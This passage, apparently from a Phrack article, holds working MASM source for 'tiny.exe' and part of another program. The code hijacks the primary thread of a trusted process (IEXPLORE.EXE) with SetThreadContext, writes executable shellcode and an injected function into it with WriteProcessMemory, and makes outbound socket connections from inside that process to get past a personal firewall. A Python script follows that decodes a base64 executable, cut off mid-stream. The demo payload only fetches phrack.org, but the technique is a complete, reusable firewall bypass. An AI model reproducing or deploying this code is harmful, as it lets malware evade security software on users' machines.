JMP INJECT_CLEANUP

INJECT_ERROR:
MOV EAX, 0 ; boolean return value (success)

INJECT_CLEANUP:
PUSH EAX ; save our return value
CMP pWSACleanup,0
JE INJECT_DONE
CALL pWSACleanup ; perform cleanup
CMP ws32base, 0 ; check if we have loaded ws2_32
JE INJECT_DONE
PUSH ws32base
CALL pFreeLibrary ; release ws2_32.dll

INJECT_DONE:
POP EAX ; retore the return value
RET ; and return

inject ENDP

inject_end: END Main

-[0x0C] :: tiny.exe source code ------------------------------------------

This is the ASM source code for the second bypass program.

.386
.MODEL flat, stdcall

INCLUDE windows.inc
INCLUDE kernel32.inc
INCLUDE advapi32.inc

bypass PROTO ; Tiny Firewall Bypass
inject PROTO, iBase:DWORD ; injected function
getsvc PROTO, pProcessInfo:DWORD ; finds running, trusted process
getdbg PROTO ; enables the SE_DEBUG privilege

; The PSHS macro is used to push the address of some
; structure onto the stack inside the remote process'
; address space. iBase contains the address where the
; injected code starts.

PSHS MACRO BUFFER
MOV EDX, iBase
ADD EDX, OFFSET BUFFER - inject
PUSH EDX
ENDM

; The LPROC macro assumes that pGetProcAddress holds
; the address of the GetProcAddress() API call and
; simulates its behaviour. PROCNAME is a string inside
; the injected code that holds the function name and
; PROCADDR is a DWORD variable inside the injected
; code that will retrieve the address of that function.
; BASEDLL, as the name suggests, should hold the
; base address of the appropriate DLL.

LPROC MACRO BASEDLL, PROCNAME, PROCADDR
PSHS PROCNAME
PUSH BASEDLL
CALL pGetProcAddress
EJUMP INJECT_ERROR
MOV PROCADDR, EAX
ENDM

EJUMP MACRO TARGET_CODE ; jump when EAX is 0.
CMP EAX, 0
JE TARGET_CODE
ENDM

.DATA
; This is the name of a trusted process to search for.
; If you know what you are doing, you can play with
; if and see whether other applications work with the
; current code (aka hijack primary thread).
; "OUTLOOK.EXE" works as well btw.

TRUSTED DB "IEXPLORE.EXE",0

SE_DEBUG DB "SeDebugPrivilege",0 ; debug privilege
IEV_NAME DB "TINY0",0 ; our event name
IEV_HANDLE DD ? ; event handle
FUNCSZE EQU iend-istart ; inject's size
CODESZE EQU 19 ; size of our "shellcode"
ALLSZE EQU FUNCSZE + CODESZE ; complete size
FUNCADDR EQU istart ; offset of inject

; JUMPDIFF is the number of bytes from the beginning of
; the shellcode to the jump instruction. It is required
; to calculate the value of JUMP_ADDR, see below.

JUMPDIFF EQU 14

; This "shellcode" will be injected to the trusted
; process directly in fron of the injector procedure
; itself. It will simply call the injector function
; with its base address as the first argument and
; jump back to the address where we hijacked the
; thread afterwards. The addresses of our injected
; function (PUSH_ADDR) and the original EIP of the
; hijacked thread (JUMP_ADDR) will be calculated
; at runtime, of course.

SHELLCODE LABEL BYTE

PUSHAD_CODE DB 060H ; PUSHAD
PUSHFD_CODE DB 09CH ; PUSHFD
PUSH_CODE DB 068H ; PUSH <function address>
PUSH_ADDR DD ?
CALL_CODE DB 0E8H ; CALL <function address>
CALL_ADDR DD 07H
POPFD_CODE DB 09DH ; POPFD
POPAD_CODE DB 061H ; POPAD
JUMP_CODE DB 0E9H ; JUMP <original EIP>
JUMP_ADDR DD ?
; <injector function>
; ...

.CODE

Main: ; not much to do except calling
; the bypass function in this sample.

INVOKE bypass
INVOKE ExitProcess, 0

getdbg PROC ; enables the SE_DEBUG privilege for ourself
LOCAL token:HANDLE
LOCAL priv:TOKEN_PRIVILEGES
LOCAL luid:LUID
INVOKE LookupPrivilegeValue, 0,OFFSET SE_DEBUG, ADDR luid
EJUMP DBE0
MOV priv.PrivilegeCount, 01H
MOV priv.Privileges.Attributes, 02H
MOV EAX,luid.LowPart
MOV priv.Privileges.Luid.LowPart,EAX
MOV EAX,luid.HighPart
MOV priv.Privileges.Luid.HighPart,EAX
INVOKE GetCurrentProcess
MOV ECX,EAX
INVOKE OpenProcessToken,ECX,020H, ADDR token
MOV ECX, token
CMP ECX, 0
JE DBE0
INVOKE AdjustTokenPrivileges,ECX,0,ADDR priv,0,0,0
MOV ECX,EAX
INVOKE CloseHandle, token
MOV EAX,ECX
DBE0: RET
getdbg ENDP

getsvc PROC, pProcessInfo:DWORD

; This function fills a PROCESS_INFORMATION
; structure with the ID and handle of the
; required trusted process and its primary
; thread. The tool helper API is used to
; retrieve this information.

LOCAL p32:PROCESSENTRY32
LOCAL t32:THREADENTRY32

LOCAL hShot:DWORD

MOV p32.dwSize, SIZEOF PROCESSENTRY32
MOV t32.dwSize, SIZEOF THREADENTRY32

INVOKE getdbg ; we need SE_DEBUG first

; Create a snapshot of all processes and
; threads. 06H is the appropriate bitmask
; for this purpose, look it up if you
; dont trust me.

INVOKE CreateToolhelp32Snapshot,06H,0
MOV hShot,EAX

; Start to search for the trusted process.
; We will compare the name of the process'
; primary module with the string buffer
; TRUSTED until we find a match.

INVOKE Process32First, hShot, ADDR p32
CMP EAX, 0
JE GSE1

GSL: LEA EDX, p32.szExeFile
INVOKE lstrcmpi, EDX, OFFSET TRUSTED

CMP EAX, 0 ; lstrcmpi is not case sensitive!
JE GSL1 ; good, we found the process

INVOKE Process32Next, hShot, ADDR p32

CMP EAX, 0 ; no more processes,
JE GSE1 ; no success
JMP GSL ; otherwise, continue loop

; We have found an instance of the trusted
; process, continue to retrieve information
; about its primary thread and gain an open
; handle to both the process itself and the
; thread. To find the thread, we have to
; loop through all thread entries in our
; snapshot until we discover a thread that
; has been created by the process we found.

GSL1: INVOKE Thread32First, hShot, ADDR t32
MOV EBX, 0

TSL: MOV EDX, t32.th32OwnerProcessID
CMP EDX, p32.th32ProcessID
JE TSL0
INVOKE Thread32Next, hShot, ADDR t32
CMP EAX, 0 ; no more threads (weird),
JE GSE1 ; no success
JMP TSL ; otherwise, continue loop

; Now, since we have got the ID's of both
; the process itself and the primary thread,
; use OpenProcess() and OpenThread() to
; get a handle to both of them. You are right,
; OpenThread is NOT a documented call, but
; it looks like that was rather an accident.
; It is exported by kernel32.dll just like
; OpenProcess().

TSL0: MOV EDX, pProcessInfo ; the structure address

MOV EAX,p32.th32ProcessID ; copy the process ID
MOV [EDX+08H], EAX

MOV EAX, t32.th32ThreadID ; copy the thread ID
MOV [EDX+0CH], EAX

PUSH EDX ; safe the address

INVOKE OpenProcess, PROCESS_ALL_ACCESS, \
0, p32.th32ProcessID

CMP EAX, 0
JE GSE1
MOV EBX, EAX

INVOKE OpenThread, THREAD_ALL_ACCESS, 0, \
t32.th32ThreadID

CMP EAX, 0
JE GSE1

POP EDX ; restore the address
MOV [EDX], EBX ; copy the process handle
MOV [EDX+04H], EAX ; copy the thread handle

PUSH 1 ; success
JMP GSE0

GSE1: PUSH 0 ; failure

GSE0: CMP hShot, 0
JE GSE
INVOKE CloseHandle, hShot ; cleanup

GSE: POP EAX ; pop the return value to EAX
RET ; that's it.

getsvc ENDP

istart:

inject PROC, iBase:DWORD

LOCAL k32base :DWORD
LOCAL expbase :DWORD
LOCAL forwards :DWORD

LOCAL pGetProcAddress :DWORD
LOCAL pGetModuleHandle :DWORD
LOCAL pLoadLibrary :DWORD
LOCAL pFreeLibrary :DWORD

LOCAL pOpenEvent :DWORD
LOCAL pCloseHandle :DWORD
LOCAL pSetEvent :DWORD

LOCAL pMessageBox :DWORD
LOCAL u32base :DWORD
LOCAL ws32base :DWORD

LOCAL pWSAStartup :DWORD
LOCAL pWSACleanup :DWORD

LOCAL pSocket :DWORD
LOCAL pConnect :DWORD
LOCAL pSend :DWORD
LOCAL pRecv :DWORD
LOCAL pClose :DWORD

JMP IG

sGetModuleHandle DB "GetModuleHandleA" ,0
sLoadLibrary DB "LoadLibraryA" ,0
sFreeLibrary DB "FreeLibrary" ,0

sOpenEvent DB "OpenEventA" ,0
sCloseHandle DB "CloseHandle" ,0
sSetEvent DB "SetEvent" ,0
sFWPEVENT DB "TINY0" ,0

sUser32 DB "USER32.DLL" ,0
sMessageBox DB "MessageBoxA" ,0

sGLA DB "GetLastError" ,0
sWLA DB "WSAGetLastError" ,0

sWS2_32 DB "ws2_32.dll" ,0
sWSAStartup DB "WSAStartup" ,0
sWSACleanup DB "WSACleanup" ,0
sSocket DB "socket" ,0
sConnect DB "connect" ,0
sSend DB "send" ,0
sRecv DB "recv" ,0
sClose DB "closesocket" ,0

wsa LABEL BYTE
wVersion DW 0
wHighVersion DW 0
szDescription DB WSADESCRIPTION_LEN+1 DUP(0)
szSystemStatus DB WSASYS_STATUS_LEN+1 DUP(0)
iMaxSockets DW 0
iMaxUdpDg DW 0
lpVendorInfo DD 0

sAddr LABEL BYTE
sin_family DW AF_INET
sin_port DW 05000H
sin_addr DD 006EE3745H
sin_zero DQ 0

sStartC DB "SetUp Complete",0
sStart DB "Injector SetUp complete. ", \
"Sending request:",13,10,13,10

sRequ DB "GET / HTTP/1.0",13,10, \
"Host: www.phrack.org ",\
13,10,13,10,0

sCap DB "Injection successful",0
sRepl DB 601 DUP(0)

IG: ASSUME FS:NOTHING ; This is a MASM error bypass.

MOV EAX, FS:[030H] ; Get the Process Environment Block
TEST EAX, EAX ; Check for Win9X
JS W9X

WNT: MOV EAX, [EAX+00CH] ; WinNT: get PROCESS_MODULE_INFO
MOV ESI, [EAX+01CH] ; Get fLink from ordered module list
LODSD ; Load the address of bLink into eax
MOV EAX, [EAX+008H] ; Copy the module base from the list
JMP K32 ; Work done

W9X: MOV EAX, [EAX+034H] ; Undocumented offset (0x34)
LEA EAX, [EAX+07CH] ; ...
MOV EAX, [EAX+03CH] ; ...
K32: MOV k32base,EAX ; Keep a copy of the base address
MOV pGetProcAddress, 0 ; now search for GetProcAddress
MOV forwards,0 ; Set the forwards to 0 initially

MOV pWSACleanup, 0 ; we will need these for error -
MOV ws32base, 0 ; checks lateron
MOV pOpenEvent, 0

ADD EAX,[EAX+03CH] ; pointer to IMAGE_NT_HEADERS
MOV EAX,[EAX+078H] ; RVA of exports directory
ADD EAX,k32base ; since RVA: add the base address
MOV expbase,EAX ; IMAGE_EXPORTS_DIRECTORY

MOV EAX,[EAX+020H] ; RVA of the AddressOfNames array
ADD EAX,k32base ; add the base address

MOV ECX,[EAX] ; ECX: RVA of the first string
ADD ECX,k32base ; add the base address

MOV EAX,0 ; EAX will serve as a counter
JMP M2 ; start looping

M1: INC EAX ; Increase EAX every loop
M2: MOV EBX, 0 ; EBX will be the calculated hash

HASH: MOV EDX, EBX
SHL EBX, 05H
SHR EDX, 01BH
OR EBX, EDX
MOV EDX, 0
MOV DL, [ECX] ; Copy current character to DL
ADD EBX, EDX ; and add DL to the hash value
INC ECX ; increase the string pointer
MOV DL, [ECX] ; next character in DL, now:
CMP EDX, 0 ; check for null character
JNE HASH

; This is where we take care of the forwarders.
; we will always subtract the number of forwarders
; that already occured from our iterator (EAX) to
; retrieve the appropriate offset from the second
; array.

PUSH EAX ; Safe EAX to the stack
SUB EAX,forwards ; Subtract forwards
IMUL EAX,4 ; addresses are DWORD's
INC ECX ; Move the ECX pointer to the
; beginning of the next name

MOV EDX, expbase ; Load exports directory
MOV EDX, [EDX+01CH] ; EDX: array of entry points
ADD EDX, k32base ; add the base address
MOV EDX, [EDX+EAX] ; Lookup the Function RVA
ADD EDX, k32base ; add the base address
MOV pGetProcAddress, EDX ; This will be correct once
; the loop is finished.

; Second stage of our forwarder check: If the
; "entry point" of this function points to the
; next string in array #1, we just found a forwarder.

CMP EDX, ECX ; forwarder check
JNE FWD ; ignore normal entry points
INC forwards ; This was a forwarder

FWD: POP EAX ; Restore EAX iterator
CMP EBX, 099C95590H ; hash value for "GetProcAddress"
JNE M1

; We have everything we wanted. I use a simple macro
; to load the functions by applying pGetProcAddress.

LPROC k32base, sGetModuleHandle, pGetModuleHandle
LPROC k32base, sLoadLibrary, pLoadLibrary
LPROC k32base, sFreeLibrary, pFreeLibrary

LPROC k32base, sOpenEvent, pOpenEvent
LPROC k32base, sCloseHandle, pCloseHandle
LPROC k32base, sSetEvent, pSetEvent

PSHS sUser32 ; we need user32.dll
CALL pGetModuleHandle ; assume it is already loaded
EJUMP INJECT_ERROR ; (we could use LoadLibrary)
MOV u32base,EAX ; got it

PSHS sWS2_32 ; most important: winsock DLL
CALL pLoadLibrary ; LoadLibrary("ws2_32.dll");
EJUMP INJECT_ERROR
MOV ws32base, EAX

LPROC u32base,sMessageBox,pMessageBox
LPROC ws32base,sWSAStartup,pWSAStartup
LPROC ws32base,sWSACleanup,pWSACleanup
LPROC ws32base,sSocket,pSocket
LPROC ws32base,sConnect,pConnect
LPROC ws32base,sSend,pSend
LPROC ws32base,sRecv,pRecv
LPROC ws32base,sClose,pClose

PSHS wsa ; see our artificial data segment
PUSH 2 ; Version 2 is fine
CALL pWSAStartup ; Do the WSAStartup()
CMP EAX, 0
JNE INJECT_ERROR

PUSH 0
PUSH SOCK_STREAM ; A normal stream oriented socket
PUSH AF_INET ; for Internet connections.
CALL pSocket ; Create it.
CMP EAX, INVALID_SOCKET
JE INJECT_ERROR
MOV EBX,EAX

PUSH SIZEOF sockaddr ; Connect to www.phrack.org:80
PSHS sAddr ; hardcoded structure
PUSH EBX ; that's our socket descriptor
CALL pConnect ; connect() to phrack.org
CMP EAX, SOCKET_ERROR
JE INJECT_ERROR

PUSH 0 ; no flags
PUSH 028H ; 40 bytes to send
PSHS sRequ ; the GET string
PUSH EBX ; socket descriptor
CALL pSend ; send() HTTP request
CMP EAX, SOCKET_ERROR
JE INJECT_ERROR

; We now have to receive the server's reply. We only
; want the HTTP header to display it in a message box
; as an indicator for a successful bypass.

MOV ECX, 0 ; number of bytes received

PP: MOV EDX, iBase
ADD EDX, OFFSET sRepl-inject

ADD EDX, ECX ; EDX is the current position inside
; the string buffer
PUSH EDX
PUSH ECX

PUSH 0 ; no flags
PUSH 1 ; one byte to receive
PUSH EDX ; string buffer
PUSH EBX ; socket descriptor
CALL pRecv ; recv() the byte

POP ECX
POP EDX

CMP AL, 1 ; one byte received ?
JNE PPE ; an error occured
CMP ECX,2 ; check if we already received
JS PP2 ; more than 2 bytes

MOV AL, [EDX] ; this is the byte we got
CMP AL, [EDX-2] ; we are looking for <CRLF><CRLF>
JNE PP2
CMP AL, 10 ; we found it, most probably.
JE PPE ; we only want the headers.

PP2: INC ECX
CMP ECX,600 ; 600 byte maximum buffer size
JNE PP

PPE: PUSH EBX ; socket descriptor
CALL pClose ; close the socket

PUSH 64 ; neat info icon and an ok button
PSHS sCap ; the caption string
PSHS sRepl ; www.phrack.org 's HTTP header
PUSH 0
CALL pMessageBox ; display the message box.

JMP INJECT_SUCCESS ; we were successful.

INJECT_SUCCESS:
PUSH 1 ; return success
JMP INJECT_CLEANUP

INJECT_ERROR:
PUSH 0 ; return failure

INJECT_CLEANUP:

PUSH EAX ; save our return value
CMP pWSACleanup,0
JE INJECT_DONE
CALL pWSACleanup ; perform cleanup
CMP ws32base, 0 ; check if we have loaded ws2_32
JE INJECT_DONE
PUSH ws32base
CALL pFreeLibrary ; release ws2_32.dll

; the following code is the only real difference
; to the code in sample #1. It is used to signal
; an event with the name "TINY0" so that the
; injector executable knows when this code has
; done its job.

CMP pOpenEvent, 0
JE INJECT_DONE

PSHS sFWPEVENT ; "TINY0"
PUSH 0 ; not inheritable
PUSH EVENT_ALL_ACCESS ; whatever
CALL pOpenEvent ; open the event
CMP EAX, 0
JE INJECT_DONE
MOV EBX, EAX

PUSH EBX
CALL pSetEvent ; signal the event

PUSH EBX
CALL pCloseHandle ; close the handle

INJECT_DONE:

POP EAX
RET ; and return

inject ENDP
iend:

bypass PROC

LOCAL pinf :PROCESS_INFORMATION
LOCAL mct :CONTEXT

LOCAL dwReturn :DWORD ; return value
LOCAL dwRemoteThreadID :DWORD ; remote thread ID
LOCAL pbRemoteMemory :DWORD ; remote base address

MOV pinf.hProcess, 0
MOV pinf.hThread, 0

; First of all, creat the even that we need to get
; informed about the progress of our injected code.

INVOKE CreateEvent, 0, 1, 0, OFFSET IEV_NAME
EJUMP BPE5
MOV IEV_HANDLE, EAX

; Find a suitable, trusted process that we can use
; to hijack its primary thread. We will then pause
; that primary thread and make sure that its suspend
; count is exactly 1. It might seem a bit too careful,
; but if the primary thread is already suspended at
; the moment of infection, we have a problem. Thus,
; we will rather make sure with some more commands
; that the thread can be resumed with a single call
; to ResumeThread().

INVOKE getsvc, ADDR pinf
EJUMP BPE5

INVOKE SuspendThread, pinf.hThread

CMP EAX, 0FFFFFFFFH
JE BPE3
CMP EAX, 0
JE SPOK
SPL: INVOKE ResumeThread, pinf.hThread
CMP EAX, 1
JNE SPL

; Here we go, the thread is paused and ready to be
; hijacked. First, we get the EIP register along with
; some others that do not interest us.

SPOK: MOV mct.ContextFlags, CONTEXT_CONTROL
INVOKE GetThreadContext, pinf.hThread, ADDR mct
EJUMP BPE2

; Now, allocate memory in the remote process' address
; space for the shellcode and the injected function

INVOKE VirtualAllocEx,pinf.hProcess,0,ALLSZE, \
MEM_COMMIT,PAGE_EXECUTE_READWRITE
EJUMP BPE2
MOV pbRemoteMemory,EAX

MOV EBX, EAX ; EBX: remote base address

ADD EAX, CODESZE ; this is the future address
MOV PUSH_ADDR, EAX ; of the inject function

MOV EAX, mct.regEip ; this is the current EIP
MOV EDX, EBX ; EDX: remote base address
ADD EDX, JUMPDIFF ; EDX: absolute address of JMP call

; Now we calculate the distance between the JMP call and
; the current EIP. The JMP CPU instruction is followed by
; a double word that contains the relative number of bytes
; to jump away from the current position. This is a signed
; long value which is basically added to the EIP register.
; To calculate the appropriate value, we need to subtract
; the position of the JMP call from the offset we want to
; jump to and subtract another 5 byte since the JMP
; instruction itself has that length.

SUB EAX, EDX
SUB EAX, 05H
MOV JUMP_ADDR, EAX

; Our shellcode is now complete, we will write it along
; with the inject function itself to the remote process.

INVOKE WriteProcessMemory,pinf.hProcess,EBX, \
OFFSET SHELLCODE,CODESZE,0
EJUMP BPE1
ADD EBX, CODESZE

INVOKE WriteProcessMemory,pinf.hProcess,EBX, \
FUNCADDR,FUNCSZE,0
EJUMP BPE1

; Done. Now hijack the primary thread by resetting its
; instruction pointer to continue the flow of execution
; at the offset of our own, injected code

MOV EDX, pbRemoteMemory
MOV mct.regEip, EDX

INVOKE SetThreadContext, pinf.hThread, ADDR mct
EJUMP BPE1

; And let the thread continue ...

INVOKE ResumeThread, pinf.hThread
CMP EAX, 0FFFFFFFFH
JE BPE1

; Now this is where we are making use of the event we
; created. We will wait until the injected code signals
; the event (at a reasonable timeout) and sleep for
; another second to make sure our code has done its
; job completely before we start with the cleanup.

INVOKE WaitForSingleObject, IEV_HANDLE, 60000
CMP EAX, 0
JE BPOK

; However, if something goes wrong it is better
; to terminate the thread as silently as possible.

INVOKE TerminateThread, pinf.hThread, 1

BPOK: INVOKE Sleep, 1000

BPE1: INVOKE VirtualFreeEx,pinf.hProcess, \
pbRemoteMemory,ALLSZE,MEM_RELEASE

BPE2: INVOKE ResumeThread, pinf.hThread

BPE3: CMP pinf.hThread, 0
JE BPE4
INVOKE CloseHandle,pinf.hThread
BPE4: CMP pinf.hProcess, 0
JE BPE5
INVOKE CloseHandle,pinf.hProcess
BPE5: INVOKE CloseHandle, IEV_HANDLE
RET

bypass ENDP

END Main

-[0x0D] :: binaries (base64) ---------------------------------------------

These are the binary version of the two sample applications for
everyone who is unable to get the Assembler I used. Actually, the
files below are python scripts that will decode the base64 -
encoded versions of the executables and create the respective
binary file in its current directory. If you do not use python,
you will have to find another way to decode them properly.

############################# injector.py #############################

from base64 import decodestring
open("injector.exe","wb").write(decodestring("""
TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAsAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4g
aW4gRE9TIG1vZGUuDQ0KJAAAAAAAAAB86B1FOIlzFjiJcxY4iXMWtpZgFiCJcxbEqWEWOY
lzFlJpY2g4iXMWAAAAAAAAAABQRQAATAEDAO9yckAAAAAAAAAAAOAADwELAQUMAAoAAAAG
AAAAAAAAABAAAAAQAAAAIAAAAABAAAAQAAAAAgAABAAAAAAAAAAEAAAAAAAAAABAAAAABA
AAAAAAAAIAAAAAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAAEwgAABQAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAATAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAC50ZXh0AAAAzgkAAAAQAAAACgAAAAQAAAAAAAAAAAAAAAAAACAAAGAucmRhdGEAAC
wCAAAAIAAAAAQAAAAOAAAAAAAAAAAAAAAAAABAAABALmRhdGEAAABCAQAAADAAAAACAAAA
EgAAAAAAAAAAAAAAAAAAQAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGg2MEAAaBowQABoAAAAgOiiCQAAg/gAdSto
PjFAAGg6MEAAUP81NjBAAOiNCQAA/zU2MEAA6HYJAABoOjBAAOgHAAAAagDoNQkAAFWL7I
PEnI1FvFDoMgkAAGbHRewAAI1FrFCNRbxQagBqAGoAagBqAGoA/3UIagDo9ggAAIP4AA+E
xAAAAGgQJwAA/3Ws6DQJAACD+AAPha4AAACLXayLTbC6BwgAAGpAaAAQAABSagBT6OAIAA
CD+AAPhKIAAACJRZy6BwgAAGoAUmhnEUAA/3WcU+jQCAAAg/gAdFyNRaRQagD/dZz/dZxq
AGoAU+iFCAAAg/gAdDmJRaDHRagAAAAAav//daDolggAAI1FqFD/daDobAgAAIN9qAB1E2
oQaBIwQABoADBAAGoA6I8IAAD/daDoMwgAAGgAgAAAagD/dZxT6FMIAABqAFPoPwgAAP91
sOgTCAAA/3Ws6AsIAADJwgQAVYvsg8S86RUFAABHZXRNb2R1bGVIYW5kbGVBAExvYWRMaW
JyYXJ5QQBGcmVlTGlicmFyeQBVU0VSMzIuRExMAE1lc3NhZ2VCb3hBAEdldExhc3RFcnJv
cgBXU0FHZXRMYXN0RXJyb3IAd3MyXzMyLmRsbABXU0FTdGFydHVwAFdTQUNsZWFudXAAc2
9ja2V0AGNvbm5lY3QAc2VuZAByZWN2AGNsb3Nlc29ja2V0AAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAgAAUEU37gYAAAAAAAAAAFNldFVwIENvbXBsZXRlAEluamVjdG9y
IFNldFVwIGNvbXBsZXRlLiBTZW5kaW5nIHJlcXVlc3Q6DQoNCkdFVCAvIEhUVFAvMS4wDQ
pIb3N0OiB3d3cucGhyYWNrLm9yZw0KDQoASW5qZWN0aW9uIHN1Y2Nlc3NmdWwAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAGShMAAAAIXAeAyLQAyLcByti0AI6wmLQDSNQHyLQDyJRfzH
RfAAAAAAx0X0AAAAAMdF0AAAAADHRdgAAAAAA0A8i0B4A0X8iUX4i0AgA0X8iwgDTfy4AA
AAAOsBQLsAAAAAi9PB4wXB6hsL2roAAAAAihED2kGKEYP6AHXlUCtF9GvABEGLVfiLUhwD
VfyLFBADVfyJVfA70XUD/0X0WIH7kFXJmXW1i1UIgcILAAAAUv91/P9V8IP4AA+EBwIAAI
lF7ItVCIHCHAAAAFL/dfz/VfCD+AAPhOsBAACJReiLVQiBwikAAABS/3X8/1Xwg/gAD4TP
AQAAiUXki1UIgcI1AAAAUv9V7IP4AA+EtgEAAIlF3ItVCIHCaQAAAFL/VeiD+AAPhJ0BAA
CJRdiLVQiBwkAAAABS/3Xc/1Xwg/gAD4SBAQAAiUXgi1UIgcJ0AAAAUv912P9V8IP4AA+E
ZQEAAIlF1ItVCIHCfwAAAFL/ddj/VfCD+AAPhEkBAACJRdCLVQiBwooAAABS/3XY/1Xwg/
gAD4QtAQAAiUXMi1UIgcKRAAAAUv912P9V8IP4AA+EEQEAAIlFyItVCIHCmQAAAFL/ddj/
VfCD+AAPhPUAAACJRcSLVQiBwp4AAABS/3XY/1Xwg/gAD4TZAAAAiUXAi1UIgcKjAAAAUv
912P9V8IP4AA+EvQAAAIlFvItVCIHCrwAAAFJqAv9V1IP4AA+FogAAAGoAagFqAv9VzIP4
/w+EkAAAAIvYahCLVQiBwj0CAABSU/9VyIP4/3R5agBqKItVCIHCiQIAAFJT/1XEg/j/dG
K5AAAAAItVCIHCxwIAAAPRUlFqAGoBUlP/VcBZWjwBdRmD+QJ4C4oCOkL+dQQ8CnQJQYH5
WAIAAHXLU/9VvGpAi1UIgcKyAgAAUotVCIHCxwIAAFJqAP9V4OsAuAEAAADrBbgAAAAAUI
N90AB0D/9V0IN92AB0Bv912P9V5FjJwgQA/yUkIEAA/yUsIEAA/yUcIEAA/yUYIEAA/yUo
IEAA/yUQIEAA/yUUIEAA/yU0IEAA/yUwIEAA/yUgIEAA/yU4IEAA/yUIIEAA/yUEIEAA/y
UAIEAA/yVAIEAA/yVEIEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAADeIQAA0CEAAMIhAAAAAAAAQCEAAFIhAAAeIQAACCEAAIghAADoIA
AALCEAAPYgAAB4IQAAZiEAAJ4hAAAAAAAA/iEAAAwiAAAAAAAArCAAAAAAAAAAAAAAtCEA
ABAgAACcIAAAAAAAAAAAAADwIQAAACAAANwgAAAAAAAAAAAAACAiAABAIAAAAAAAAAAAAA
AAAAAAAAAAAAAAAADeIQAA0CEAAMIhAAAAAAAAQCEAAFIhAAAeIQAACCEAAIghAADoIAAA
LCEAAPYgAAB4IQAAZiEAAJ4hAAAAAAAA/iEAAAwiAAAAAAAAGgBDbG9zZUhhbmRsZQBAAE
NyZWF0ZVByb2Nlc3NBAABCAENyZWF0ZVJlbW90ZVRocmVhZAAAgABFeGl0UHJvY2VzcwDv
AEdldEV4aXRDb2RlVGhyZWFkADIBR2V0U3RhcnR1cEluZm9BAGgCVGVybWluYXRlUHJvY2
